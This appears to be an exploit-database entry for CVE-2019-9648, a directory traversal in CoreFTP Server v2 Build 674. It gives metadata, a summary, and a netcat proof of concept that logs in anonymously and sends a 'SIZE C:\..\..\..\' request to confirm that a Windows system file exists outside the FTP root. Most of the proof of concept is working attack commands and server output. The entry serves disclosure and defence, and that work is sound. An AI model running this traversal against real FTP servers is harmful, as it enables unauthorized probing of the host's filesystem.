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Core FTP Server FTP / SFTP Server v2 Build 674 - SIZE Directory Traversal Exploit Vulnerability
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# Exploit Title: CoreFTP Server FTP / SFTP Server v2 - Build 674 SIZE Directory Traversal # Google Dork: N/A # Date: 3/13/2019 # Exploit Author: Kevin Randall # Vendor Homepage: https://www.coreftp.com # Software Link: http://www.coreftp.com/server/index.html # Version: Firmware: CoreFTP Server FTP / SFTP Server v2 - Build 674 # Tested on: Windows 7 # CVE : CVE-2019-9648 *Vendor has confirmed vulnerability and implemented an updated version* Summary: By utilizing a directory traversal along with the FTP SIZE command, an attacker can browse outside the root directory to determine if a file exists based on return file size by using a ..\..\ technique Tools used: Parrot OS VM Windows 7 VM FTP / SFTP Server v2 - Build 674 Netcat Proof of Concept (PoC): File 1: ARP.exe Type of file: Application(.EXE) Description: TCP/IP Arp Command Location: C:\Windows\System32\ Size: 20.5 KB (20,992 bytes) Size on disk: 24.0 KB (24,576 bytes) Created: Monday July 13, 2009 7:55:11 PM Modified: Monday July 13, 2009, 9:14:12 PM Accessed: Monday July 13, 2009 7:55:11 PM #nc -nv 192.168.0.2 21 (UNKNOWN) [192.168.0.2] 21 (ftp) open 220 Core FTP Server Version 2.0, build 674, 32-bit, installed 1 days ago Unregistered USER anonymous 331 password required for anonymous PASS anonymous@ 230-Logged on 230 SIZE C:\..\..\..\..\..\..\Windows\System32\ARP.exe 213 20992 # 0day.today [2024-07-02] #